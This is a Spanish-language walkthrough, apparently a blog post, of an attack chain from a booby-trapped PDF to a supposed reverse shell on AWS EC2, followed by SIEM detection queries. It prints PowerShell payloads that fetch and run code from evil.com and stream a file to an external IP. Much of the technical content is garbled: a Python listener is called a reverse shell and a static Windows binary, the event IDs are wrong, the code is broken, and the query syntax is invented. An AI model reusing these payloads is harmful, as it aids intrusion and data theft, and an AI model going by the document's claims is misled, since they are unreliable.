
Una cadena práctica que comienza con un archivo PDF inocuo y termina con un shell inverso en una instancia de AWS EC2.
Una cadena práctica que comienza con un archivo PDF inocuo y termina en una shell inversa en una instancia EC2 de AWS
Todo comienza en el frente del ataque. Usando el objeto WScript integrado de PowerShell, incrustamos un script dentro de un PDF que se entregará a un host Windows. El payload descarga un ejecutable desde un endpoint HTTP remoto y lo escribe en el sistema de archivos local.
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command "$ssh = new-Object System.Net.Sockets.TcpClient; $stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }"
"@
El beneficio clave es que el PDF no necesita un paso de descarga separado: se entrega directamente a PowerShell, que luego lanza la siguiente fase de la cadena.
Una vez que el script del PDF se ejecuta en el host objetivo (10.0.1.5), usamos PowerShell para abrir una conexión SMB a una instancia EC2 (54.231.12.41) y enviar el ejecutable recién descargado a través de ese socket. El mismo código puede ejecutarse desde cualquier estación de trabajo Windows, lo que le da al atacante un punto de apoyo de bajo perfil dentro de la LAN corporativa.
$ssh = New-Object System.Net.Sockets.TcpClient $ssh.Connect('54.231.12.41',445) $stream = $ssh.GetStream() Invoke-Expression ( New-Object System.Net.WebClient).DownloadString( 'https://evil.com/rcmd.py') Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }
El paquete SMB aparece en los registros de auditoría de Windows como un evento estándar (EventID 4624), lo que facilita su detección en la mayoría de los paneles de SIEM.
La pieza final de nuestra cadena es una pequeña shell inversa escrita en Python. Escucha una conexión SSH desde EC2 de vuelta al mismo host, imprime una línea de depuración en la consola y luego sale. Una vez compilado como rcmd.py, será ejecutado automáticamente por el paso de PowerShell anterior.
#!/usr/bin/env python3 import socket
def main(): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.bind(('0.0.0.0', 22)) listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if name == 'main': main()
Debido a que es un binario estático que se ejecuta de forma nativa en Windows, no es necesario instalar un agente o servicio adicional en el host objetivo.
Los equipos de seguridad deben asumir que el compromiso es posible y construir estrategias de detección en capas.
Tráfico Anómalo
Filtrar paquetes SMB inusualmente grandes desde el host objetivo.
index=siem_main sourcetype="netflow:smb" | where size > med(size) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Alto Uso de Memoria
El consumo de memoria del binario para mostrar que es un proceso no trivial en el host objetivo.
index=siem_main sourcetype="perf:memory" | where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Ventana Fuera de Horario
Los red teamers no suelen ejecutar en horario laboral por miedo a que su script pueda alertar al usuario de alguna manera; esta consulta examinará el tráfico en momentos en que sería inesperado.
index=siem_main sourcetype="powershell:smbaudit" | where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00" | stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Este proyecto está destinado únicamente a fines educativos y de investigación. No utilice estas técnicas en entornos no autorizados.